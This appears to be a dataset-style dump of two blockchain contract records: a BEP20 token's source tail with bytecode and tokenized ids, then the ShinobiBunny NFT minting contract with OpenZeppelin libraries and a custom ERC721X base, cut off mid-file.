(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function Airdrop(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { _transfer(msg.sender, receivers[i], amounts[i]); } } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063893d20e8116100b8578063a9059cbb1161007c578063a9059cbb14610365578063b09f126614610391578063c558ae6b14610399578063d28d8852146104c0578063dd62ed3e146104c8578063f2fde38b146104f657610137565b8063893d20e8146102e85780638da5cb5b1461030c57806395d89b4114610314578063a0712d681461031c578063a457c2d71461033957610137565b806332424aa3116100ff57806332424aa314610267578063395093511461026f57806342966c681461029b57806370a08231146102b8578063715018a6146102de57610137565b806306fdde031461013c578063095ea7b3146101b957806318160ddd146101f957806323b872dd14610213578063313ce56714610249575b600080fd5b61014461051c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e5600480360360408110156101cf57600080fd5b506001600160a01b0381351690602001356105b2565b604080519115158252519081900360200190f35b6102016105cf565b60408051918252519081900360200190f35b6101e56004803603606081101561022957600080fd5b506001600160a01b038135811691602081013590911690604001356105d5565b610251610662565b6040805160ff9092168252519081900360200190f35b61025161066b565b6101e56004803603604081101561028557600080fd5b506001600160a01b038135169060200135610674565b6101e5600480360360208110156102b157600080fd5b50356106c8565b610201600480360360208110156102ce57600080fd5b50356001600160a01b03166106e3565b6102e66106fe565b005b6102f06107b2565b604080516001600160a01b039092168252519081900360200190f35b6102f06107c1565b6101446107d0565b6101e56004803603602081101561033257600080fd5b5035610831565b6101e56004803603604081101561034f57600080fd5b506001600160a01b0381351690602001356108ae565b6101e56004803603604081101561037b57600080fd5b506001600160a01b03813516906020013561091c565b610144610930565b6102e6600480360360408110156103af57600080fd5b8101906020810181356401000000008111156103ca57600080fd5b8201836020820111156103dc57600080fd5b803590602001918460208302840111640100000000831117156103fe57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561044e57600080fd5b82018360208201111561046057600080fd5b8035906020019184602083028401116401000000008311171561048257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109be945050505050565b610144610a08565b610201600480360360408110156104de57600080fd5b506001600160a01b0381358116916020013516610a63565b6102e66004803603602081101561050c57600080fd5b50356001600160a01b0316610a8e565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105c66105bf610b04565b8484610b08565b50600192915050565b60035490565b60006105e2848484610bf4565b610658846105ee610b04565b6106538560405180606001604052806028815260200161118a602891396001600160a01b038a1660009081526002602052604081209061062c610b04565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610d5216565b610b08565b5060019392505050565b60045460ff1690565b60045460ff1681565b60006105c6610681610b04565b846106538560026000610692610b04565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610de916565b60006106db6106d5610b04565b83610e4a565b506001919050565b6001600160a01b031660009081526001602052604090205490565b610706610b04565b6000546001600160a01b03908116911614610768576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006107bc6107c1565b905090565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105a85780601f1061057d576101008083540402835291602001916105a8565b600061083b610b04565b6000546001600160a01b0390811691161461089d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106db6108a8610b04565b83610f46565b60006105c66108bb610b04565b84610653856040518060600160405280602581526020016111fb60259139600260006108e5610b04565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610d5216565b60006105c6610929610b04565b8484610bf4565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b505050505081565b60005b8251811015610a03576109fb338483815181106109da57fe5b60200260200101518484815181106109ee57fe5b6020026020010151610bf4565b6001016109c1565b505050565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109b65780601f1061098b576101008083540402835291602001916109b6565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610a96610b04565b6000546001600160a01b03908116911614610af8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610b0181611038565b50565b3390565b6001600160a01b038316610b4d5760405162461bcd60e51b81526004018080602001828103825260248152602001806111406024913960400191505060405180910390fd5b6001600160a01b038216610b925760405162461bcd60e51b81526004018080602001828103825260228152602001806112636022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c395760405162461bcd60e51b815260040180806020018281038252602581526020018061111b6025913960400191505060405180910390fd5b6001600160a01b038216610c7e5760405162461bcd60e51b81526004018080602001828103825260238152602001806111d86023913960400191505060405180910390fd5b610cc1816040518060600160405280602681526020016111b2602691396001600160a01b038616600090815260016020526040902054919063ffffffff610d5216565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cf6908263ffffffff610de916565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610de15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610da6578181015183820152602001610d8e565b50505050905090810190601f168015610dd35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610e43576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610e8f5760405162461bcd60e51b81526004018080602001828103825260218152602001806112206021913960400191505060405180910390fd5b610ed281604051806060016040528060228152602001611241602291396001600160a01b038516600090815260016020526040902054919063ffffffff610d5216565b6001600160a01b038316600090815260016020526040902055600354610efe908263ffffffff6110d816565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038216610fa1576040805162461bcd60e51b815260206004820152601f60248201527f42455032303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354610fb4908263ffffffff610de916565b6003556001600160a01b038216600090815260016020526040902054610fe0908263ffffffff610de916565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03811661107d5760405162461bcd60e51b81526004018080602001828103825260268152602001806111646026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e4383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d5256fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e2066726f6d20746865207a65726f206164647265737342455032303a206275726e20616d6f756e7420657863656564732062616c616e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a72315820339cdc8d532030087287e4879619d91299fb83d56b5e0754f3ac0599940cd5ae64736f6c63430005100032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 16048, 19797, 2581, 23352, 3401, 4783, 2581, 2487, 2050, 26224, 2546, 19841, 21472, 2683, 22932, 25746, 4783, 2050, 2629, 14141, 2063, 12521, 2094, 2620, 2509, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 2131, 12384, 2121, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,631
0x9716F1C25d9192a09296982017f900e55721585e
//SPDX-License-Identifier: MIT pragma solidity 0.8.11; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol'; import './lib/ERC721X.sol'; contract ShinobiBunny is ERC721X, Ownable { using ECDSA for bytes32; using Strings for uint256; event SaleStateUpdate(bool active); string public baseURI = "ipfs://none"; string public unrevealedURI = 'ipfs://QmQgDNbcGnPNiPdYDiJou9RsawaSSHrm6pQFjHrFkRTFAP/'; bool public publicSaleActive; bool public whitelistActive; bool public diamondlistActive; uint256 public totalSupply; uint256 public constant MAX_SUPPLY = 7777; uint256 public constant PREMINT_AMOUNT = 3; uint256 public RESERVED_AMOUNT = 1500; uint256 public price = 0.12 ether; uint256 public purchaseLimit = 1; uint256 public whitelistPrice = 0.1 ether; uint256 public whitelistPurchaseLimit = 1; mapping(address => uint256) public _publicMinted; mapping(address => uint256) public _whitelistMinted; mapping(address => bool) public _diamondlistUsed; address private _signerAddress = 0xc6EC711aDdFb8FFC9f7561f065F698f8606691AA; uint256 private constant SIGNED_DATA_WHITELIST = 69; uint256 private constant SIGNED_DATA_DIAMONDLIST = 1337; bool public revealed = false; constructor() ERC721X('Shinobi Bunny', 'SNB') { // premint first 3 tokenIds to the owner _mintBatch(msg.sender, PREMINT_AMOUNT); } // ------------- External ------------- function mint(uint256 amount) external payable whenPublicSaleActive noContract { require(_publicMinted[msg.sender] + amount <= purchaseLimit, 'EXCEEDS_LIMIT'); require(msg.value == price * amount, 'INCORRECT_VALUE'); _publicMinted[msg.sender] = _publicMinted[msg.sender] + amount; _mintBatch(msg.sender, amount); } function whitelistMint(uint256 amount, bytes memory signature) external payable whenWhitelistActive onlyWhitelisted(signature) noContract { require(_whitelistMinted[msg.sender] + amount <= whitelistPurchaseLimit, 'EXCEEDS_LIMIT'); require(msg.value == whitelistPrice * amount, 'INCORRECT_VALUE'); _whitelistMinted[msg.sender] = _whitelistMinted[msg.sender] + amount; _mintBatch(msg.sender, amount); } function diamondlistMint(bytes memory signature) external payable whenDiamondlistActive onlyDiamondlisted(signature) noContract { _mintBatch(msg.sender, 1); } function ownMint(uint256 amount) external onlyOwner { _mintBatch(msg.sender, amount); } // ------------- Private ------------- function _mintBatch(address to, uint256 amount) private { uint256 tokenId = totalSupply; require(tokenId + amount <= MAX_SUPPLY - RESERVED_AMOUNT, 'MAX_SUPPLY_REACHED'); require(amount > 0, 'MUST_BE_GREATER_0'); for (uint256 i; i < amount; i++) _mint(to, tokenId + i); totalSupply += amount; } function _validSignature(bytes memory signature, bytes32 data) private view returns (bool) { bytes32 msgHash = keccak256(abi.encode(address(this), data, msg.sender)); return msgHash.toEthSignedMessageHash().recover(signature) == _signerAddress; } // ------------- View ------------- function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); if (!revealed) return unrevealedURI; return string(abi.encodePacked(baseURI, tokenId.toString(), '.json')); } // ------------- Admin ------------- function setReserve(uint256 value) external onlyOwner { RESERVED_AMOUNT = value; } function reveal(bool value) external onlyOwner { revealed = value; } function giveAway(address[] calldata accounts) external onlyOwner { for (uint256 i; i < accounts.length; i++) _mintBatch(accounts[i], 1); } function setPrice(uint256 price_) external onlyOwner { price = price_; } function setWhitelistPrice(uint256 price_) external onlyOwner { whitelistPrice = price_; } function setPurchaseLimit(uint256 limit) external onlyOwner { purchaseLimit = limit; } function setWhitelistPurchaseLimit(uint256 limit) external onlyOwner { whitelistPurchaseLimit = limit; } function setSignerAddress(address address_) external onlyOwner { _signerAddress = address_; } function setWhitelistActive(bool active) external onlyOwner { whitelistActive = active; } function setDiamondlistActive(bool active) external onlyOwner { diamondlistActive = active; } function setPublicSaleActive(bool active) external onlyOwner { publicSaleActive = active; emit SaleStateUpdate(active); } function setBaseURI(string memory _baseURI) external onlyOwner { baseURI = _baseURI; } function setUnrevealedURI(string memory _uri) external onlyOwner { unrevealedURI = _uri; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function recoverToken(IERC20 token) external onlyOwner { uint256 balance = token.balanceOf(address(this)); token.transfer(owner(), balance); } // ------------- Modifier ------------- modifier whenDiamondlistActive() { require(diamondlistActive, 'DIAMONDLIST_NOT_ACTIVE'); _; } modifier whenWhitelistActive() { require(whitelistActive, 'WHITELIST_NOT_ACTIVE'); _; } modifier whenPublicSaleActive() { require(publicSaleActive, 'PUBLIC_SALE_NOT_ACTIVE'); _; } modifier noContract() { require(tx.origin == msg.sender, 'CONTRACT_CALL'); _; } modifier onlyDiamondlisted(bytes memory signature) { require(_validSignature(signature, bytes32(SIGNED_DATA_DIAMONDLIST)), 'NOT_WHITELISTED'); require(!_diamondlistUsed[msg.sender], 'DIAMONDLIST_USED'); _diamondlistUsed[msg.sender] = true; _; } modifier onlyWhitelisted(bytes memory signature) { require(_validSignature(signature, bytes32(SIGNED_DATA_WHITELIST)), 'NOT_WHITELISTED'); _; } // ------------- ERC721 ------------- function tokenIdsOf(address owner) external view returns (uint256[] memory) { uint256[] memory ids = new uint256[](balanceOf(owner)); uint256 count; for (uint256 i; i < balanceOf(owner); ++i) ids[count++] = tokenOfOwnerByIndex(owner, i); return ids; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.10; // _____ _____ ____ _ _ ▗█▘ ▟▛ // |_ _|__ | ___| _ | __ )| | ___ ___| | __ ▗▛▘ ▟▛ // | |/ _ \| |_ | | | || _ \| |/ _ \ / __| |/ / ▗▛ ▟▀ // | | (_) | _|| |_| || |_) | | (_) | (__| < ▗▛ ▟▘ // |_|\___/|_| \__,_||____/|_|\___/ \___|_|\_\ // ▄▄▄▄▄▄ // ▟▀▀▀▀ ▝▀▀▀▀▀▀▀▀█▖ // ▗▛ ▟▘▌ // ▄▛ ▗▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▗▛ ▌ // ▐▛▀▀▀ ▝▀▜ ▌ // ▐ ▗ ▗ ▐ ▌ // ▐ ▐ ▛▀▀▀▀█ // ▗█ ▐ ▗▌ ▟▘ // ▟▀▐ ▐ ▟ ▐▘ // ▟▘ ▐▖ ▛▗▞ ▗▌ // ▟▘ ▙▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▟▀▀▀▀ ▗▛ // ▟▘ ▗▛ // ▟▙▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▛ // // Lighter modification of ERC721, with some adjustments // Warning: Does not implement IERC721. import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; /** * @notice This implementation has some modifications compared to the standard ERC721. * This should not be used unless the changes are understood. * @dev Changes made to this contract: * - `_balances` are not being tracked in order to save on gas. * - `_owners` is internal, allowing for the super class to implement functions such as `balanceOf` and `tokenIdsOf`. * - `balanceOf` is removed, meaning this contract doesn't follow the IERC721 standard. This could be implemented by * an inefficient loop until the maximum index, however this implementation is left to the super contract. * * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ abstract contract ERC721X is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; uint256 private totalSupply; // Mapping from token ID to owner address mapping(uint256 => address) internal _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Enumerable // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) 